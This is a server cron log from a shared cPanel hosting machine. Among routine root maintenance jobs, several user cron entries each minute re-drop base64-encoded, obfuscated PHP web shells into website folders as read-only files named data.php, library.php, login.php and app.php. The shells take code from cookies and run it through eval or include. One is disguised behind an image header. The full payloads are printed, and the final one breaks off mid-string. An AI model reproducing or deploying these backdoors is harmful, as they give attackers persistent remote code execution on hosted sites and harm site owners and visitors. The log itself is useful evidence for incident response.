Mar  2 16:08:01 medusa CROND[20430]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:09:01 medusa CROND[7302]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:09:01 medusa CROND[7380]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 16:09:01 medusa CROND[7537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:09:01 medusa CROND[7651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:09:01 medusa CROND[7716]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 16:09:01 medusa CROND[7719]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:09:01 medusa CROND[7720]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:09:01 medusa CROND[7721]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:09:01 medusa CROND[7722]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:09:01 medusa CROND[7723]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:09:01 medusa CROND[7731]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:09:01 medusa CROND[7732]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:09:01 medusa CROND[7738]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:10:01 medusa CROND[29817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:10:01 medusa CROND[29828]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:10:01 medusa CROND[29829]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 16:10:01 medusa CROND[29921]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 16:10:01 medusa CROND[30190]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 16:10:01 medusa CROND[30195]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 16:10:01 medusa CROND[30196]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 16:10:01 medusa CROND[30202]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 16:10:01 medusa CROND[30200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:10:01 medusa CROND[30205]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 16:10:01 medusa CROND[30204]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 16:10:01 medusa CROND[30223]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:10:01 medusa CROND[30224]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:10:01 medusa CROND[30225]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:10:01 medusa CROND[30227]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:10:01 medusa CROND[30238]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 16:10:01 medusa CROND[30241]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:10:01 medusa CROND[30222]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 16:10:01 medusa CROND[30229]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 16:10:01 medusa CROND[30228]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 16:10:01 medusa CROND[30248]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 16:10:01 medusa CROND[30263]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:10:01 medusa CROND[30265]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:10:01 medusa CROND[30266]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 16:10:01 medusa CROND[30267]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:10:01 medusa CROND[30268]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 16:10:01 medusa CROND[30269]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogIC